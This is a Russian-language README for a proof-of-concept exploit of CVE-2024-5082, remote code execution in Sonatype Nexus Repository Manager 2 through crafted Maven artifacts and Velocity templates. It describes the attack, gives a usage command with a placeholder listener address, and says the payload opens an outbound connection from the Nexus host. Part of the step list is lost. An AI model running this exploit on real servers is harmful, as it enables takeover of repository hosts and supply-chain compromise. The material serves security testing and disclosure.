
Эксплойт proof-of-concept для CVE-2024-5082, уязвимости удаленного выполнения кода в Sonatype Nexus Repository Manager 2 через специально созданные Maven-артефакты и обработку шаблонов Velocity.
Этот репозиторий содержит Python-доказательство концепции для CVE-2024-5082, уязвимости удаленного выполнения кода в Sonatype Nexus Repository Manager 2.
Уязвимость позволяет пользователю с достаточными правами опубликовать специально сформированный Maven-артефакт и пометить его для обработки генератором контента Velocity. При получении артефакта встроенный шаблон Velocity обрабатывается Nexus и может выполнить команду в контексте безопасности JVM Nexus.
Согласно Sonatype:
Команда выполняется на хосте Nexus Repository.
Загрузка затронутого артефакта с сервера сборки, сервера приложений или рабочей станции разработчика сама по себе не приводит к выполнению встроенной команды в этой потребляющей системе. Однако компрометация менеджера репозиториев может создать более широкий риск для цепочки поставок, если злоумышленник впоследствии изменит доверенные артефакты, входные данные сборки, учетные данные или конфигурацию репозитория.
Скрипт:
maven-metadata.xml в выбранный hosted-репозиторий.velocityПредоставленная полезная нагрузка создает исходящее TCP-соединение от хоста Nexus к настроенному адресу прослушивателя.
Текущий скрипт использует HTTP Basic Authentication и требует:
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000